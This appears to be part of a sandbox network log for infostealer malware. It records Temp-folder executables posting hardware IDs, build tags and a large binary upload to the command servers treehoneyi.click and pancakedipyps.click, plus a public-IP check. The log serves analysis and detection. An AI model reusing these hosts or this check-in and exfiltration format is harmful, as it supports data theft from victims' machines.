ovNe^7&{-N%bRD'DKc;%]<%v#LblhFG*le1s;+Vy{$R?x`W.GfXBEGw&%BDX~Wp\|E39S~7?vP(<`]oeCy?0
2024-12-20 06:12:36 UTC	1135	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 06:12:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k8abdl7j3jvkirh9bu1h93hbhs; expires=Mon, 14 Apr 2025 23:59:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8UkyKrWRzcF%2B35lnZusdNwrooKvVAWh9A77Qbdv5VwmaszTgHXzspFfsPreemOndeopqPrRppsTU4Ik2yd17CZxR5r7%2Bo57eSoYGPJIykMZbqL3xfC%2BIGUzCGr7THDvWitNRdEh%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4d7b3a1a4c4333-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1670&min_rtt=1660&rtt_var=644&sent=332&recv=571&lost=0&retrans=0&sent_bytes=2848&recv_bytes=549556&delivery_rate=1672394&cwnd=248&unsent_bytes=0&cid=ca7d6b969e99bf02&ts=4142&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49823	172.67.180.113	443	7348	C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:12:32 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1SX811DFB5Y8G User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8756 Host: treehoneyi.click
2024-12-20 06:12:32 UTC	8756	OUT	Data Raw: 2d 2d 31 53 58 38 31 31 44 46 42 35 59 38 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 33 43 37 45 32 33 36 34 41 45 34 42 37 42 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 31 53 58 38 31 31 44 46 42 35 59 38 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 31 53 58 38 31 31 44 46 42 35 59 38 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 0d 0a 2d 2d 31 53 58 38 31 31 44 46 42 Data Ascii: --1SX811DFB5Y8GContent-Disposition: form-data; name="hwid"D3C7E2364AE4B7B7AC8923850305D13E--1SX811DFB5Y8GContent-Disposition: form-data; name="pid"2--1SX811DFB5Y8GContent-Disposition: form-data; name="lid"rAGxSF--Support--1SX811DFB
2024-12-20 06:12:33 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 06:12:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=um8taafsfbl8tm2e3s46onundj; expires=Mon, 14 Apr 2025 23:59:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F%2F%2FJnHbrSYRssCORAalfnBexlJ%2BrAwgHp2f6ge1WZnTo%2Fs4vBVAd6GNoK1OPUlY%2BM8igIJgxrYNPh6khcQOFafLVjiHiyQcvEWvWuZ8pi1zI2M92quUbebsFIpcd8%2Farhezn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4d7b3a9ee40f95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1678&min_rtt=1670&rtt_var=642&sent=7&recv=15&lost=0&retrans=0&sent_bytes=2841&recv_bytes=9690&delivery_rate=1682027&cwnd=169&unsent_bytes=0&cid=4710d45ba18375ea&ts=824&x=0"
2024-12-20 06:12:33 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 06:12:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49830	172.67.180.113	443	7348	C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:12:35 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=K4U0SIUWSY7LYZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20415 Host: treehoneyi.click
2024-12-20 06:12:35 UTC	15331	OUT	Data Raw: 2d 2d 4b 34 55 30 53 49 55 57 53 59 37 4c 59 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 33 43 37 45 32 33 36 34 41 45 34 42 37 42 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4b 34 55 30 53 49 55 57 53 59 37 4c 59 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4b 34 55 30 53 49 55 57 53 59 37 4c 59 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 0d 0a 2d 2d 4b 34 55 30 53 49 Data Ascii: --K4U0SIUWSY7LYZContent-Disposition: form-data; name="hwid"D3C7E2364AE4B7B7AC8923850305D13E--K4U0SIUWSY7LYZContent-Disposition: form-data; name="pid"3--K4U0SIUWSY7LYZContent-Disposition: form-data; name="lid"rAGxSF--Support--K4U0SI
2024-12-20 06:12:35 UTC	5084	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2024-12-20 06:12:36 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 06:12:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gtp08ka2pukt4nhvduf27796ma; expires=Mon, 14 Apr 2025 23:59:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UtzINnO9w37nW9n0EsPqrEQdt0%2FnkjZ27duwwrjAQtw%2BtPB%2BbXFx0oI2yFKBeJGqwVfYXBhZhuHr%2FyTNHbORh2WAUl0m1uPfliYNSvNNxZd5iM4dEo%2FnYqPj4UsXqi1LlWss"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4d7b49c8174207-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1612&min_rtt=1604&rtt_var=617&sent=10&recv=23&lost=0&retrans=0&sent_bytes=2841&recv_bytes=21373&delivery_rate=1750599&cwnd=183&unsent_bytes=0&cid=71b43b6b3861b5d9&ts=983&x=0"
2024-12-20 06:12:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 06:12:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49836	34.226.108.155	443	7624	C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:12:37 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-20 06:12:37 UTC	224	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 06:12:37 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-20 06:12:37 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49841	172.67.209.202	443	7516	C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:12:38 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 81 Host: pancakedipyps.click
2024-12-20 06:12:38 UTC	81	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 74 65 73 74 26 6a 3d 26 68 77 69 64 3d 44 33 43 37 45 32 33 36 34 41 45 34 42 37 42 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=FATE99--test&j=&hwid=D3C7E2364AE4B7B7AC8923850305D13E
2024-12-20 06:12:39 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 06:12:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sd5u7trom89r5jprn6rv0ge2bj; expires=Mon, 14 Apr 2025 23:59:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R792qECieoZTShb60u0BXzE5b2%2Bb4Wb80sMsk%2F1wfRSAfqXbBBN9wUq0qwad%2FbHeQ4idh8xVkThGtvd24G9cDgodGMCejg57KxPnpgz3M%2BDQMIbIyX7lT%2BUfQZEfOw1LWHdXay4N"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4d7b5c5a9b43eb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1778&min_rtt=1718&rtt_var=687&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=984&delivery_rate=1699650&cwnd=183&unsent_bytes=0&cid=ea83059b85e62e45&ts=1076&x=0"
2024-12-20 06:12:39 UTC	54	IN	Data Raw: 33 30 0d 0a 52 64 66 50 35 55 35 52 43 79 53 4e 51 41 44 48 56 74 41 52 46 43 65 6a 64 77 56 7a 57 6b 66 52 5a 49 36 53 4e 6b 70 5a 66 44 41 65 69 67 3d 3d 0d 0a Data Ascii: 30RdfP5U5RCySNQADHVtARFCejdwVzWkfRZI6SNkpZfDAeig==
2024-12-20 06:12:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49844	172.67.180.113	443	7348	C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:12:38 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=FUZ1XQFD0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1223 Host: treehoneyi.click
2024-12-20 06:12:38 UTC	1223	OUT	Data Raw: 2d 2d 46 55 5a 31 58 51 46 44 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 33 43 37 45 32 33 36 34 41 45 34 42 37 42 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 46 55 5a 31 58 51 46 44 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 46 55 5a 31 58 51 46 44 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 0d 0a 2d 2d 46 55 5a 31 58 51 46 44 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --FUZ1XQFD0Content-Disposition: form-data; name="hwid"D3C7E2364AE4B7B7AC8923850305D13E--FUZ1XQFD0Content-Disposition: form-data; name="pid"1--FUZ1XQFD0Content-Disposition: form-data; name="lid"rAGxSF--Support--FUZ1XQFD0Content-Di
2024-12-20 06:12:39 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 06:12:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hm39l1u9b71pdu83v3qt4qmita; expires=Mon, 14 Apr 2025 23:59:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z0eIkF26ebfiNzBSE8loOcNUEg2Ck7eBOlqUgvFfzUxB8rm2eMcM%2BPARgnl%2FVeCvMt5r1Xh7ZksOxNGoL0AVJhVUcrNow9Xr7vwrdJnE2gQ7tUjaH6vpvytCd%2BqCzZDF%2B7mA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4d7b603bee8c1b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1980&min_rtt=1955&rtt_var=784&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=2131&delivery_rate=1353104&cwnd=210&unsent_bytes=0&cid=08b0f7aba768c66f&ts=1087&x=0"
2024-12-20 06:12:39 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 06:12:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49853	172.67.180.113	443	7348	C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:12:42 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=I8PDNVFSZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551556 Host: treehoneyi.click
2024-12-20 06:12:42 UTC	15331	OUT	Data Raw: 2d 2d 49 38 50 44 4e 56 46 53 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 33 43 37 45 32 33 36 34 41 45 34 42 37 42 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 49 38 50 44 4e 56 46 53 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 49 38 50 44 4e 56 46 53 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 0d 0a 2d 2d 49 38 50 44 4e 56 46 53 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --I8PDNVFSZContent-Disposition: form-data; name="hwid"D3C7E2364AE4B7B7AC8923850305D13E--I8PDNVFSZContent-Disposition: form-data; name="pid"1--I8PDNVFSZContent-Disposition: form-data; name="lid"rAGxSF--Support--I8PDNVFSZContent-Di
2024-12-20 06:12:42 UTC	15331	OUT	Data Raw: 82 1f 65 2b 37 dc fc b8 6f 00 25 26 43 cb be b9 d9 27 57 54 b9 71 a1 8d 7d e6 22 d9 1b 7f 45 44 5f 8a c9 1e 79 bd 99 73 7f c0 e0 16 15 17 af 6a 5b f8 11 77 4c 2f bb d1 5f 1d 7c be cf 0c 79 a9 5e ab 26 1d c1 b7 71 db fc 39 68 df 14 ce ea 86 a8 87 c2 63 79 c1 3d 1e 9d 43 2d c6 04 8c 5c 29 62 88 4c 2d c2 fd 95 b2 db 30 f9 63 14 1b 24 89 0c 05 8c cd 91 b7 49 b1 71 85 e5 e8 bd e0 cf b0 9e b7 ab f3 bd cc 01 fc cb d7 ed d7 37 f7 09 6f 45 bb 4b 8d e7 7a b1 fd 50 3b c0 59 23 bd 81 b0 73 75 12 69 e2 72 51 0c a2 40 4a e4 d2 dc 83 b1 11 b2 62 2c 1c 1e cd bc 13 e8 28 09 93 1f 92 e7 46 8d df 8f b2 e2 05 92 b3 3e 38 24 7d f2 23 48 a2 9e 0b 93 b6 ab d4 cf 96 10 00 32 4c 16 36 cb 19 ec 7a e3 84 8d eb 32 94 3f 21 0a ef d8 90 cf 43 d9 ee dd 31 b0 9f d4 a4 08 42 31 5a c7 96 Data Ascii: e+7o%&C'WTq}"ED_ysj[wL/_\|y^&q9hcy=C-\)bL-0c$Iq7oEKzP;Y#suirQ@Jb,(F>8$}#H2L6z2?!C1B1Z
2024-12-20 06:12:42 UTC	15331	OUT	Data Raw: a8 c0 b3 80 5c eb 20 b2 dc 8b a3 1b 1d b4 55 ad 21 4a 7b 7d 7b dd 1a 4e e8 b1 5c d1 0b fe d4 78 8c 46 e0 71 d6 54 a7 5d 5b ed 1c 19 27 b9 25 df 8b 9d 67 a3 e4 35 57 bb 14 05 79 33 2c b5 55 0a a6 54 7b 73 5c a6 e1 dc c6 f9 c0 dc b2 6b 95 bc cf 05 ab 9a 33 87 e1 e8 8b bf 7f 5b 61 3a f2 42 2a 9b 44 8f 76 2e 5c 5b 3f 1e 52 2f aa f7 b8 db 99 19 1e d2 7f 4d 60 52 cd ab e1 7f 8a b9 95 12 20 02 0a df 7e ef 9e d8 ae 5d 78 ac 3d d3 c7 29 e4 eb cd 9d 21 5c 5e 7d 56 56 1a 63 c1 d8 32 ba d0 cf 76 72 32 e9 af ca c9 fa 8a 20 96 74 cf c1 d6 32 d1 e6 a3 21 52 c3 25 dd 19 2d 9d 81 99 ac 6c 68 d3 49 bf de 32 42 3e 6b 89 71 68 b5 7a af e9 b4 d5 fb 56 aa 8c 34 6d 28 d4 b5 f0 fe 5c 88 3f 1a b8 a5 07 66 c6 fa 30 15 d0 e3 6e 88 bf a7 1a 29 87 89 63 d3 df 5f f4 49 c0 2a 4c c7 36 Data Ascii: \ U!J{}{N\xFqT]['%g5Wy3,UT{s\k3[a:BDv.\[?R/M`R ~]x=)!\^}VVc2vr2 t2!R%-lhI2B>kqhzV4m(\?f0n)c_IL6
2024-12-20 06:12:42 UTC	15331	OUT	Data Raw: e3 b4 a3 c9 3f ac 8e 67 46 66 b3 69 8a a3 74 72 70 f9 c8 00 f5 b1 e2 38 7b e8 73 c1 20 95 36 30 2f ab 6e be b9 bc 62 f1 37 ae 40 b2 da cf fb dd b6 7a ab ec bd e4 b5 ca 3c 25 52 59 ee dc cc 23 ec b5 be a9 98 19 99 d9 1a 7c 57 de 3c 66 9d f3 cb 6e 31 87 d8 35 e0 fb ed 63 60 da 35 4c df 66 67 e1 58 ca f2 c7 3a c7 c1 3d 81 b9 57 96 db 7e ef d7 cc 23 30 ed 93 6e 21 b9 15 fb c4 0d 8f bd 7e 73 c3 f2 40 f6 a9 a9 e1 df c6 8e 36 cc 71 fb 4f de 15 7c 39 06 72 48 51 4c bf e3 32 11 79 89 11 94 3c bf bf dc da 5f 68 7e 76 36 24 6a 64 3c 67 15 e4 59 17 3d c4 ad cb 28 e5 00 c6 7e 34 dd 7b e8 d6 fb c7 a0 2a 1f 13 3a 22 00 a6 29 45 5d 65 42 a0 bb f0 c2 ec 78 d6 95 e9 d1 6e bd 73 77 7e 64 9d 8d 13 07 b1 c6 08 08 46 94 d8 a3 bd 20 5b be fc 13 1a f4 d8 ae 3a 5f 7a 74 72 e7 80 Data Ascii: ?gFfitrp8{s 60/nb7@z<%RY#\|W<fn15c`5LfgX:=W~#0n!~s@6qO\|9rHQL2y<_h~v6$jd<gY=(~4{*:")E]eBxnsw~dF [:_ztr
2024-12-20 06:12:42 UTC	15331	OUT	Data Raw: de 49 ed d7 75 31 d3 be 13 e5 95 32 0f 1f be a5 d4 bd 54 b0 d2 f9 20 f2 38 04 62 f8 d4 d5 a8 2f 58 43 82 da 21 ac 86 76 63 a7 5c 38 4f 11 b6 11 17 5c cb e2 26 39 7c 38 37 e1 b7 2d 2b 7d f4 aa 4e 77 bc 19 c4 b9 77 76 a4 cc dd 78 15 85 0e 97 11 c1 b9 d9 15 a9 65 a9 38 9e b9 d6 1d f7 95 c0 a0 81 f6 0f d2 75 46 3f 4f 87 d6 38 41 b5 78 a0 7a 2e d7 33 4f d8 b4 a2 01 80 bc cd 55 c9 81 a2 ed d5 e3 70 e0 b7 5c a3 a1 63 52 33 d7 2f 91 df ea 86 fa cc 09 00 9c fc c6 a9 ea e1 54 e7 33 0c 59 dd 1c 92 2f 36 ea 38 f9 64 91 7a 40 83 3d c4 f1 ff 62 2b ad a3 1a 41 bd ee 99 47 52 c0 48 90 4c 5a f9 5b d0 11 ff 6d 3f 39 bb 1c d6 98 e4 49 0c 38 d4 5a df 3e 5b db 98 bc 52 e5 3a cb 6a 34 c0 bf 11 93 32 d9 cf 7b 76 3c 95 2b d2 9e d4 5e c2 75 14 35 70 7f db e8 60 42 9e ec 46 24 8c Data Ascii: Iu12T 8b/XC!vc\8O\&9\|87-+}Nwwvxe8uF?O8Axz.3OUp\cR3/T3Y/68dz@=b+AGRHLZ[m?9I8Z>[R:j42{v<+^u5p`BF$
2024-12-20 06:12:42 UTC	15331	OUT	Data Raw: c4 88 fe 60 01 d7 b1 13 71 e7 bb 37 37 83 2f 81 40 18 96 00 b7 fa 35 ba 96 64 90 68 59 7a f6 ad b7 50 1b c6 87 77 ce ed df e7 ea a4 c1 f1 58 fa ae cc a6 d4 c6 75 03 ab 23 7b 08 3e e8 25 07 e7 2a 99 8e 8b 19 0e 38 10 f5 c0 08 f9 1a 37 8c 59 8f f4 b8 27 f9 eb 8b bc 58 86 16 f7 ba 4e 24 5c 67 2b 8e af df ac c1 12 14 fa 61 2f 89 eb 4a 25 9f e7 48 c9 5c 99 c0 6a 7c 4b b8 f3 7d a0 e5 f8 b2 f0 d8 77 01 dc 65 70 52 58 64 ec 4b d0 cf b3 2e e3 98 a5 80 bf 49 f6 99 69 92 b0 7a ee b7 e7 39 46 91 c1 69 bf 85 e2 b8 b1 43 96 4a 29 65 1b 62 1b ba 89 cf 72 54 08 bb 17 0a 66 ab 78 17 7c f6 2a ae 83 49 cf 48 e5 84 f5 29 50 f8 f8 17 1e a8 1e e4 5e d4 82 ce 8f 2b 92 c8 ef b6 ad 6d 61 2d 61 c6 df c0 f3 b8 30 f9 64 7a f5 06 5f 5b e3 6e f0 86 39 ff f3 cf 7f db af 38 83 10 a9 0c Data Ascii: `q77/@5dhYzPwXu#{>%87Y'XN$\g+a/J%H\j\|K}wepRXdK.Iiz9FiCJ)ebrTfx\|IH)P^+ma-a0dz_[n98
2024-12-20 06:12:42 UTC	15331	OUT	Data Raw: 1e e0 30 b0 71 33 43 13 e0 99 0e 66 c2 6c ec a1 eb a0 a0 53 eb e9 7e 60 7b 45 39 b7 78 92 de bc d3 1e 4b 4b ba 93 4d 28 ac 38 64 e1 42 7f 1c 46 1f 10 f3 7e 8c 44 00 82 96 31 01 80 32 f2 92 69 94 6b 35 95 de 8b f2 96 8b 19 9c f4 0d 4a 36 aa 5b 99 43 66 b1 b5 3d 5f fa 8a 1f 0d a7 a3 39 e6 48 38 a2 4f b5 a1 28 d1 95 e8 a4 6e 83 f0 80 e7 12 8e ae 74 c2 fa 94 a0 20 c4 44 20 71 5e f1 03 98 1f 8f 61 a3 59 2d 8d c5 01 c9 b9 a3 e9 b5 34 4c 44 8f 50 41 31 19 1b 0f e2 a2 24 73 3e 6e aa 70 9d a9 13 69 14 6f 07 85 28 7d 74 d7 b1 82 2b ca a9 92 51 9e 2a a5 21 42 7f 4e e3 30 56 2c ae 88 e9 dc db 7e 5a 95 b8 c5 31 87 5c f3 a3 16 09 ce 7b 5f 85 90 85 61 61 07 60 00 cc 12 4b 85 c3 c3 34 98 8f 65 e8 81 04 dd 2f fd 34 22 59 25 ea 1c 5a 67 19 a0 45 07 93 dc 9d d5 e2 bd 85 0e Data Ascii: 0q3CflS~`{E9xKKM(8dBF~D12ik5J6[Cf=_9H8O(nt D q^aY-4LDPA1$s>npio(}t+Q*!BN0V,~Z1\{_aa`K4e/4"Y%ZgE
